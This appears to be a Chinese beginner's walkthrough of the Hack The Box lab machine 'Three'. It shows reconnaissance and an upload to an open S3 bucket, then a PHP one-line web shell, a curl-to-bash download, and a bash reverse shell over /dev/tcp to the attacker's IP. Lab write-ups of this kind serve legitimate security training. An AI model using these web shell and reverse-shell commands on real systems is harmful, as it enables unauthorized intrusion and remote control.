Hack The Box - Three(新手友好)

环境给了一个IP,nmap信息搜集一波

nmap -sS -sV 10.129.126.35
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  httpApache httpd 2.4.29 ((Ubuntu))

访问10.129.126.35:80,收集有用信息(渗透测试==信息收集)

Phone: +01 343 123 6102
Email: mail@thetoppers.htb

thetoppers.htb应该是域名,把域名和IP加到hosts文件中,tee命令的作用就是读取标准输入内容,将读取到的内容数据写入到标准输出和文件中。

echo "10.129.126.35 thetoppers.htb" | tee -a /etc/hosts

再次访问和之前页面一样,尝试子域名爆破,有没有其他突破口

gobuster vhost -w /usr/share/wordlists/dict/subnames.txt -u http://thetoppers.htb

爆破的很久最终爆破结果有s3.thetoppers.htb,加hosts

echo "10.129.126.35 s3.thetoppers.htb" | tee -a /etc/hosts

页面只有一条json信息。看看s3,s3是亚马逊云存储的简单存储服务,全程是Simple Storage Service。

{"status": "running"}

我们就可以通过awscli来与s3进行交互,安装并将所有字段随意配置(服务器可能不校验)。

aws configure

列出所有s3的桶

aws --endpoint=http://s3.thetoppers.htb s3 ls 

列出该s3下的目录及对象

aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

创建一句话shell

echo'<?php system($_GET["cmd"]); ?>' > shell.php

使用cp命令拷贝到s3的桶里

aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

访问http://thetoppers.htb/shell.php?cmd=ls可以看到thetoppers.htb桶里的目录及对象

images index.php shell.php

我们通过命令执行shell,curl执行bash脚本反弹shell来实现命令行交互。查看本机ip
ifconfig //10.10.16.60
生成bash一句话shell.sh

#!/bin/bash
bash-i >& /dev/tcp/10.10.16.60/1337 0>&1

nc监听端口

nc -nvlp 1337

python创建简易服务器

python3 -m http.server 8090

目标机curl本机bash文件并执行

http://thetoppers.htb/shell.php?cmd=curl%2010.10.16.60:8090/shell.sh%20|%20bash

如果成功的话可以看到我们监听的页面,如果没反弹成功可以看看10.10.16.60:8090是否有我们的shell.sh文件

在这里插入图片描述www目录catflag即可。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值